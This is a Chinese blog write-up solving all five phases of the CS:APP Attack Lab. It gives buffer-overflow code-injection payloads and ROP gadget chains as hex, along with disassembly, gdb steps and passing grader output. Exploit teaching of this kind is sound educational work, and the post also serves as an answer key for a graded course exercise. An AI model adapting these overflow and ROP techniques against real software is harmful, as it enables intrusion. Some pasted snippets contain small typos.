Attack Lab—-深入理解计算机系统

  • Post author:
  • Post category:其他




Attack Lab

文件来源于《深入理解计算机系统》一书

Attack Lab 网址:http://csapp.cs.cmu.edu/3e/labs.html

运行坏境:Ubuntu 22.04.1



一些介绍

阅读

attacklab.pdf

(writeup)文件,可以知道该实验分为两大部分。书


  • Code Injection Attacks



    ctarget

    是易受代码注入攻击的可执行程序,利用 代码注入(Code injection) 攻击该程序


  • Return-Oriented Programming

    :

    rtarget

    是易受面向返回的编程攻击的可执行程序,利用 返回导向编程(Return-oriented programming) 攻击该程序

另外,如果在 ubuntu 系统上直接运行这两个程序,是无法运行的,因为服务器没有使用 CMU 的内网,无法建立连接。如下

FAILED: Initialization error: Running on an illegal host [XXX]



attacklab.pdf

中也提供了解决方法,如下

Both CTARGET and RTARGET take several different command line arguments:
    -h: Print list of possible command line arguments
    -q: Don’t send results to the grading server
    -i FILE: Supply input from a file, rather than from standard input

运行程序时,传入命令参数

-h

可以打印可能的命令行参数列表;传入命令参数

-q

可以不将结果发送到评分服务器;传入命令参数

-i FILE

可以提供来自文件的输入,而不是来自标准输入。

因此,运行程序时附加命令参数

-q

就可以在为连接内网的情况下运行程序。加上参数

-i

还可以支持文件输入。


attacklab.pdf

中还提到了:文件中,ctargrt 和 rtarget 都从标准输入读取字符串,它们使用下面定义的函数 getbuf 来执行此操作:

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}


使用程序 hex2raw

: 将十六进制序列转为可输入字符串。

hex2raw 的输入是用一个或多个空格分隔的两位十六进制值。因此,如果你想创建一个十六进制值为 0 的字节,你需要把它写成 00。要创建单词 0xdeadbeef,您应该将“ef be ad de”传递给 HEX2RAW(注意小端字节排序所需的反转)。

//注意机器为小端模式
//假设十六进制序列如下
30 31 32 33 34 35 00

//转换为字符串
012345

如何将

汇编代码

转换为机器代码

//假如有如下汇编代码 in example.s
    pushq $0xabcdef         # Push value onto stack
    addq $17,%rax           # Add 17 to %rax
    movl %eax,%edx          # Copy lower 32 bits to %edx

//使用gcc编译example.s,并使用objdump进行反汇编
    gcc -c example.s
    objdump -d example.o > example.d
//得到如下文件内容 in example.d
example.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 68 ef cd ab 00   pushq $0xabcdef
5: 48 83 c0 11      add $0x11,%rax
9: 89 c2            mov %eax,%edx

//获得机器码如下
68 ef cd ab 00  /* pushq $0xabcdef */
48 83 c0 11     /* add $0x11,%rax */
89 c2           /* mov %eax,%edx */

接下来进行 实验



Code Injection Attacks

所谓 Code Injection,就是通过缓冲区溢出,注入攻击代码。



phase 1 —level 1


phase1 任务:

运行 CTARGET 过程中,使函数 getbuf 执行其 return 语句后,执行 touch 1 的代码,而不是返回到 test。



attacklab.pdf

文件中,ctargrt 中的 test 函数的参考 c 代码如下:

void test()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

ctargrt 中的 touch1 函数的参考 c 代码如下:

void touch1()
{
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

使用反汇编命令反汇编 ctarget,并保存到 ctarget.s 以便查看,如下:

objdump -d ctarget > ctarget.s

主要查看函数

getbuf

和函数

touch1

的汇编代码

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp       //分配0x28的栈帧
  4017ac:	48 89 e7             	mov    %rsp,%rdi        //buf数组首地址
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>    //调用Gets
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp       //
  4017bd:	c3                   	ret                     //使%rip值为返回地址
  4017be:	90                   	nop
  4017bf:	90                   	nop

00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	call   400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	call   401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	call   400e40 <exit@plt>

在函数

getbuf

中分配了 0x28 的栈帧,说明字符串数组 buf 的

BUFFER_SIZE

为 40,而函数

touch1

的地址为 0x4017c0 ,接下来就是将函数

test

调用函数

getbuf

时存储在其栈帧中的返回地址改为 0x4017c0 即可。

创建 attack 文件 phase1.txt 如下

//文件中不包含注释
/*填充字符串数组buf*/
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
/*利用数组越界注入函数 touch1 返回地址*/
/*小端模式*/
c0 17 40 00
00 00 00 00

使用命令如下

./hex2raw < phase1.txt > phase1_.txt
./ctarget -qi phase1_.txt

执行结果为

ubuntu> ./ctarget -qi phase1_.txt

Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

通过 phase1.



phase 2 —level 2


phase2任务

:运行 CTARGET 过程中,使函数 getbuf 执行其 return 语句后,执行 touch2 的代码,而不是返回到 test, 且需要传入参数 cookie=0x59b997fa,通过 touch2 的验证。



attacklab.pdf

文件中,ctargrt 中的 touch2 函数的参考 c 代码如下:

void touch2(unsigned val)
    level = 2; /* Part of validation protocol */
    if (val == cookie) {
        rintf("Touch2!: You called touch2(0x%.8x)\n", val);
        alidate(2);
     else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

查看函数

touch2

的汇编代码如下

00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx
  4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:	00 00 00
  4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:	75 20                	jne    401824 <touch2+0x38>
  401804:	be e8 30 40 00       	mov    $0x4030e8,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	call   400df0 <__printf_chk@plt>
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 6b 04 00 00       	call   401c8d <validate>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>
  401824:	be 10 31 40 00       	mov    $0x403110,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	call   400df0 <__printf_chk@plt>
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 0d 05 00 00       	call   401d4f <fail>
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	call   400e40 <exit@plt>

解决任务的思路就是在执行

rep

之前先将寄存器

%rdi

的值改为 cookie 值,然后再通过更改返回地址为

0x4017ec

,即可达到调用函数

touch2

且传入参数 cookie。

编写赋值 %rdi 的汇编代码 in phase2.s, 并将其插入到某段内存中

movq $0x59b997fa, %rdi    //将 cookie 值赋给 %rdi
pushq $0x4017ec           //将touch2的地址值压入栈帧中,作为返回地址,注意此时的%rsp指向的正是返回地址
ret                       //ret将前面存入栈帧中的返回地址(%rsp+1)赋值给%rip,执行touch2

接下来将上述汇编代码转为机器码,执行如下命令

gcc -Og -c phase2.s
objdump -d phase2.o > phase2_.s

// in phase2_.s

phase2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	push   $0x4017ec
   c:	c3                   	ret

//机器码为
48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3

由此可得 attack 文件 phase2.txt 如下

//插入的汇编代码的机器码
48 c7 c7 fa
97 b9 59 68
ec 17 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55    //函数 getbuf的%rsp 值,亦为执行注入代码的地址
00 00 00 00

通过字符串数组溢出的方式注入的返回地址应为函数

getbuf

栈帧的地址,亦为执行注入代码的地址,使用 gdb 断点调试功能获取该%rsp 地址。如下

//使用gdb调试 ctarget
gdb ctarget

//打上函数 test 的断点
b *0x401968

//执行函数, 输入命令参数-qi, 文件地址为绝对地址
r -qi ~/code/code/cyy/CSAPP/Attack/phase1.txt

//打上函数 getbuf 的分配栈帧之后,销毁栈帧之前的某一语句的断点
b *0x4017ac

//继续执行
c

//查看寄存器值
i register

rax            0x0                 0
rbx            0x55586000          1431855104
rcx            0x0                 0
rdx            0x5561dcc0          1432476864
rsi            0xf4                244
rdi            0x55685fd0          1432903632
rbp            0x55685fe8          0x55685fe8
rsp            0x5561dc78          0x5561dc78
r8             0x0                 0
r9             0x0                 0
r10            0x7ffff7d94e98      140737351601816
r11            0x7ffff7f31900      140737353292032
r12            0x3                 3
r13            0x0                 0
r14            0x0                 0
r15            0x7ffff7ffd040      140737354125376
rip            0x4017ac            0x4017ac <getbuf+4>
eflags         0x216               [ PF AF IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0

可以知道

%rsp

值为 0x5561dc78, 与 phase2.txt 中对应。

使用如下命令运行 ctarget

./hex2raw < phase2.txt > phase2_.txt
./ctarget -qi phase2_.txt

执行结果为

Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

通过 phase2.



phase 3 —level 3


phase3任务

:运行 CTARGET 过程中,使函数 getbuf 执行其 return 语句后,执行 touch3 的代码,而不是返回到 test, 且需要传入参数 cookie 的 字符串形式 作为参数,通过 touch3 的验证。



attacklab.pdf

文件中,ctargrt 中的 hexmatch 函数的参考 c 代码如下:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

ctargrt 中的 touch3 函数的参考 c 代码如下:

void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

分别查看其汇编代码如下

000000000040184c <hexmatch>:
  40184c:	41 54                	push   %r12
  40184e:	55                   	push   %rbp
  40184f:	53                   	push   %rbx
  401850:	48 83 c4 80          	add    $0xffffffffffffff80,%rsp   //%rsp - 128
  ...
  4018f1:	48 83 ec 80          	sub    $0xffffffffffffff80,%rsp
  4018f5:	5b                   	pop    %rbx
  4018f6:	5d                   	pop    %rbp
  4018f7:	41 5c                	pop    %r12
  4018f9:	c3                   	ret
00000000004018fa <touch3>:
  4018fa:	53                   	push   %rbx
  4018fb:	48 89 fb             	mov    %rdi,%rbx
  4018fe:	c7 05 d4 2b 20 00 03 	movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>
  401905:	00 00 00
  401908:	48 89 fe             	mov    %rdi,%rsi
  40190b:	8b 3d d3 2b 20 00    	mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>
  401911:	e8 36 ff ff ff       	call   40184c <hexmatch>
  401916:	85 c0                	test   %eax,%eax
  401918:	74 23                	je     40193d <touch3+0x43>
  40191a:	48 89 da             	mov    %rbx,%rdx
  40191d:	be 38 31 40 00       	mov    $0x403138,%esi
  401922:	bf 01 00 00 00       	mov    $0x1,%edi
  401927:	b8 00 00 00 00       	mov    $0x0,%eax
  40192c:	e8 bf f4 ff ff       	call   400df0 <__printf_chk@plt>
  401931:	bf 03 00 00 00       	mov    $0x3,%edi
  401936:	e8 52 03 00 00       	call   401c8d <validate>
  40193b:	eb 21                	jmp    40195e <touch3+0x64>
  40193d:	48 89 da             	mov    %rbx,%rdx
  401940:	be 60 31 40 00       	mov    $0x403160,%esi
  401945:	bf 01 00 00 00       	mov    $0x1,%edi
  40194a:	b8 00 00 00 00       	mov    $0x0,%eax
  40194f:	e8 9c f4 ff ff       	call   400df0 <__printf_chk@plt>
  401954:	bf 03 00 00 00       	mov    $0x3,%edi
  401959:	e8 f1 03 00 00       	call   401d4f <fail>
  40195e:	bf 00 00 00 00       	mov    $0x0,%edi
  401963:	e8 d8 f4 ff ff       	call   400e40 <exit@plt>

注意到,当我们注入攻击代码后使 ctarget 按预期执行 touch3,但传入的参数为字符串且保存在栈帧中,touch3 验证 cookie 的方式是调用函数

hexmatch

来判断,而且在函数中又调用了

strcmp

,分别观察其汇编代码,发现函数

hexmatch

的栈帧为 134 字节,如果处理不当,一定会覆盖掉传入的 cookie 字符串,毕竟函数

getbuf

的栈帧也就 40 字节。

解决方法是充分利用指令

ret

的运行时栈的特性,运行时栈为逆向生长,而指令

ret

是将当前%rsp+8,并且将这 8 字节的内容作为返回地址赋值给程序计数器%rip。

因此,只要将 cookie 字符串的内容放在比注入指令

ret

执行时 %rsp+8 地址高的位置即可,即在运行时栈中,cookie 字符串值在%rsp+8 的位置开始向上存储。

编写赋值 %rdi 的汇编代码 in phase3.s, 并将其插入到某段内存中

movq $0x5561dca8, %rdi    //将 cookie 字符串首地址 赋给 %rdi
pushq $0x4018fa           //将touch3的地址值压入栈帧中,作为返回地址,注意此时的%rsp指向的正是返回地址
ret                       //ret将前面存入栈帧中的返回地址(8字节)赋值给%rip,执行touch3

接下来将上述汇编代码转为机器码,执行如下命令

gcc -Og -c phase3.s
objdump -d phase3.o > phase3_.s

//in phase3_.s

phase3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
   7:	68 fa 18 40 00       	push   $0x4018fa
   c:	c3                   	ret

//机器码为
48 c7 c7 a8 dc 61 55
68 fa 18 40 00
c3

由此可得 attack 文件 phase3.txt 如下

//插入的汇编代码的机器码
48 c7 c7 a8
dc 61 55 68
fa 18 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55    //函数 getbuf的%rsp 值,亦为执行注入代码的地址
00 00 00 00    //在此之后存储cookie 字符串值
35 39 62 39    //cookie 的字符串形式 其地址为 getbuf的%rsp+0x30
39 37 66 61
00 00 00 00    //字符串结尾

使用如下命令运行 ctarget

./hex2raw < phase3.txt > phase3_.txt
./ctarget -qi phase3_.txt

运行结果为

Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00

通过 phase3.



Return-Oriented Programming



attacklab.pdf

文件提到

对程序 RTARGET 执行代码注入攻击比 CTARGET 要困难得多,因为它使用两种技术来阻止这种攻击:

  • 它使用随机化,以便堆栈位置在不同的运行中不同。这使得无法确定注入代码的位置。
  • 它将保存堆栈的内存部分标记为不可执行,因此即使您可以将程序计数器设置为注入代码的开头,程序也会因分段错误而失败

幸运的是,聪明的人已经制定了策略,通过执行现有代码,而不是注入新代码,在程序中完成有用的事情,即 ROP。



ROP 技术介绍

ROP 为使用你程序里的字节代码攻击你的程序。


attacklab.pdf

文件中提到一个例子。

有如下 c 代码

void setval_210(unsigned *p)
{
    *p = 3347663060U;
}

对其进行反汇编后查看机器码

0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7   movl $0xc78948d4,(%rdi)
400f1b: c3                  retq

注意到,机器码

48 89 c7

可以编码为

movq %rax, %rdi

,如果程序从 0x400f18 处开始执行,则等价于执行如下汇编代码

movq %rax, %rdi
ret

这种带有 ret 的指令段,称为 gadget,而 farm.c 里有很多这种 garget。你可以利用这些 garget 进行攻击。

farm.c 已经编译进了 rtarget,也就是说,你反汇编 rtarget 时,你就会找到 farm.c 里的函数

下图为 一些汇编指令的编码

在这里插入图片描述

另外

0xC3

编码为

ret



0x90

编码为

nop

.



phase 4 —level 2


phase4任务

:使用 ROP 技术重做 phase2

使用反汇编命令反汇编 rtarget,并保存到 rtarget.s 以便查看,如下:

objdump -d rtarget > rtarget.s

观察其汇编代码,发现 farm.c 确实已经编译进了 rtarget

0000000000401994 <start_farm>:
  401994:	b8 01 00 00 00       	mov    $0x1,%eax
  401999:	c3                   	ret
  ...
  0000000000401ab2 <end_farm>:
  401ab2:	b8 01 00 00 00       	mov    $0x1,%eax
  401ab7:	c3                   	ret

查看 getbuf 与 touch2 的汇编代码

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 ac 03 00 00       	call   401b60 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	ret
  4017be:	90                   	nop
  4017bf:	90                   	nop

00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx
  4017f2:	c7 05 e0 3c 20 00 02 	movl   $0x2,0x203ce0(%rip)        # 6054dc <vlevel>
  4017f9:	00 00 00
  4017fc:	3b 3d e2 3c 20 00    	cmp    0x203ce2(%rip),%edi        # 6054e4 <cookie>
  401802:	75 20                	jne    401824 <touch2+0x38>
  401804:	be 08 32 40 00       	mov    $0x403208,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	call   400df0 <__printf_chk@plt>
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 8b 05 00 00       	call   401dad <validate>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>
  401824:	be 30 32 40 00       	mov    $0x403230,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	call   400df0 <__printf_chk@plt>
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 2d 06 00 00       	call   401e6f <fail>
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	call   400e40 <exit@plt>

字符串数组 buf 的

BUFFER_SIZE

为 40,因为其没有设置金丝雀值,仍可以通过数组溢出改变程序运行的顺序,但由于栈随机初始化且只读模式,不可执行,所以不能够进行代码注入。接下来使用 ROP 技术,需要解决两点:

  • 使寄存器 %rdi 值为 cookie
  • 执行 touch2

最先想到的汇编代码就是

movq    $0x59b997fa, %rdi
pushq   $0x4017ec
ret

但是使用 gadget 不可直接实现这段汇编代码的功能,但是我们可以将其拆分成多个语句,并结合运行时栈来解决。

先将

$0x59b997fa

放入栈中,由

popq

指令将其赋值给%rdi, 再将

$0x4017ec

放入栈中,由

ret

指令后执行函数 touch2。

放入栈中的工作可以由字符串数组溢出来完成,而赋值寄存器则由 gadget 来完成。

观察 start_farm 到 end_farm 间的汇编代码,发现带有可以编码为

popq

的 gadget 如下

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	ret

//从 0x4019ab 处开始执行,等价于下方汇编语句
  4019ab: 58                        popq %rax
  4019ac: 90                        nop
  4019ad:	c3                      ret

接下来还需要将%rax 值赋值给%rdi,如下 gadget

00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	ret

//从 4019a2 处开始执行,等价于下方汇编语句
  4019a3: 48 89 c7                  mov %rax, %rdi
  4019a6: c3                   	ret

整合的汇编代码为

//函数 getbuf 的 ret 执行后跳转 0x4019ab
popq %rax
nop
ret             //执行后跳转 4019a2
mov %rax, %rdi
ret             //执行后跳转touch2 4017ec

由此可得 attack 文件 phase4.txt 如下

00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00     //占位 buf 40字节
ab 19 40 00     // 跳转 0x4019ab  执行popq %rax
00 00 00 00
fa 97 b9 59     // popq %rax
00 00 00 00
a2 19 40 00     // 跳转 0x4019a2  执行mov %rax, %rdi
00 00 00 00
ec 17 40 00     // 跳转 4017ec, 执行touch2
00 00 00 00

执行如下命令

./hex2raw < phase4.txt > phase4_.txt
./rtarget -qi phase4_.txt

执行结果如下

Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

通过 phase4



phase 5 —level 3


phase5任务

:使用 ROP 技术重做 phase3

000000000040184c <hexmatch>:
  40184c:	41 54                	push   %r12
  40184e:	55                   	push   %rbp
  40184f:	53                   	push   %rbx
  401850:	48 83 c4 80          	add    $0xffffffffffffff80,%rsp     //分配128 + 3*8 字节的栈帧
  ...
  4018f1:	48 83 ec 80          	sub    $0xffffffffffffff80,%rsp
  4018f5:	5b                   	pop    %rbx
  4018f6:	5d                   	pop    %rbp
  4018f7:	41 5c                	pop    %r12
  4018f9:	c3                   	ret

00000000004018fa <touch3>:
  4018fa:	53                   	push   %rbx
  4018fb:	48 89 fb             	mov    %rdi,%rbx
  4018fe:	c7 05 d4 3b 20 00 03 	movl   $0x3,0x203bd4(%rip)        # 6054dc <vlevel>
  401905:	00 00 00
  401908:	48 89 fe             	mov    %rdi,%rsi
  40190b:	8b 3d d3 3b 20 00    	mov    0x203bd3(%rip),%edi        # 6054e4 <cookie>
  401911:	e8 36 ff ff ff       	call   40184c <hexmatch>
  ...

使用 ROP 需要实现以下几个方面

  • 获取 cookie 字符串的首地址,并赋值给 %rdi
  • 调用 函数 touch3
  • 保护 cookie 字符串 不被 函数 hexmatch 的栈帧破坏掉

保护 cookie 字符串依旧是将其放到栈帧的顶端(最后一个返回地址上方),难点再于如何获取 cookie 字符串得到地址。

易于想到的一点就是,使用寄存器 %rsp 加上某个偏移地址 xx 得到,得到如下汇编代码

movq %rsp, %rax
addq $0x xx, %rax
movq %rax, %rdi

但由于 gadget 中没有 addq $0x xx, %rax 命令,但是又类似的命令 add_xy 如下,等价于 %rax = %rdi + %rsi

00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	ret

所以可以通过字符串数组溢出来再某个内存中提前存放特殊的值,再通过 popq 将其赋值给%rdi 或%rsi,再调用 add_xy 获取 cookie 字符串的地址。

汇编代码实现如下

popq %rdi
movq %rsp, %rsi
call add_xy
movq %rax, %rdi
call touch3

查找 gadget,发现没有办法直接实现该功能。

查询有用 gadget 如下:

00000000004019ca <getval_280>:
  4019ca:	b8 29 58 90 c3       	mov    $0xc3905829,%eax
  4019cf:	c3                   	ret

//从 4019cc 处开始运行, 等价于
  4019cc:58                    popq %rax
  4019cd: 90                    nop
  4019ce: c3                    ret
----------------------------------------------------------
00000000004019db <getval_481>:
  4019db:	b8 5c 89 c2 90       	mov    $0x90c2895c,%eax
  4019e0:	c3                   	ret

//从 4019dd 处开始运行, 等价于
  4019dd: 89 c2                 movl %eax, %edx
  4019df: 90                    nop
  4019e0: c3                    ret
----------------------------------------------------------
0000000000401a33 <getval_159>:      //
  401a33:	b8 89 d1 38 c9       	mov    $0xc938d189,%eax
  401a38:	c3                   	ret

//从 4019f7 处开始运行, 等价于
  401a34: 89 d1                 movl %edx, %ecx
  401a36: 38 c9                 //??, 但不会对寄存器造成影响
  401a38: c3                   	ret
----------------------------------------------------------
0000000000401a11 <addval_436>:
  401a11:	8d 87 89 ce 90 90    	lea    -0x6f6f3177(%rdi),%eax
  401a17:	c3                   	ret

//从 401a13 处开始运行, 等价于
  401a13: 89 ce                 movl %ecx, %esi
  401a15: 90                    nop
  401a16: 90                    nop
  401a17: c3                   	ret
----------------------------------------------------------
0000000000401a03 <addval_190>:
  401a03:	8d 87 41 48 89 e0    	lea    -0x1f76b7bf(%rdi),%eax
  401a09:	c3                   	ret

//从 401a06 处开始运行, 等价于
  401a06: 48 89 e0              movq %rsp, %rax
  401a09: c3                   	ret
----------------------------------------------------------
00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	ret
//从 4019a2 处开始运行, 等价于
  4019a3: 89 c7 c3              movq %rax, %rdi
  4019a5: c3                   	ret
----------------------------------------------------------
00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax   //将 %rdi 和 %rsi 相加
  4019da:	c3                   	ret

改进汇编代码如下

popq  %rax
movl  %eax, %edx
movl  %edx, %ecx
movl  %ecx, %esi
movq  %rsp, %rax
movq  %rax, %rdi
call  add_xy
movq  %rax, %rdi
call  touch3

由此可得 attack 文件 phase5.txt 如下

00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00   //40 字节占位符
cc 19 40 00   // 执行
00 00 00 00
20 00 00 00   // popq %rax   偏移量
00 00 00 00
dd 19 40 00   // movq %eax, %edx
00 00 00 00
34 1a 40 00   // movl  %edx, %ecx
00 00 00 00
13 1a 40 00   // movl  %ecx, %esi
00 00 00 00
06 1a 40 00   // movq  %rsp, %rax
00 00 00 00
a2 19 40 00   // movq  %rax, %rdi   //%rdi 中 %rsp开始处
00 00 00 00
d6 19 40 00   // call  add_xy
00 00 00 00
a2 19 40 00   // movq  %rax, %rdi
00 00 00 00
fa 18 40 00   // call  touch3
00 00 00 00
35 39 62 39   // cookie 字符串      //%rsp + 0x20
39 37 66 61
00 00 00 00   // 字符串结束符

执行如下命令

./hex2raw < phase5.txt > phase5_.txt
./rtarget -qi phase5_.txt

执行结果如下

Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00

通过 phase5



结束



版权声明:本文为weixin_53016579原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。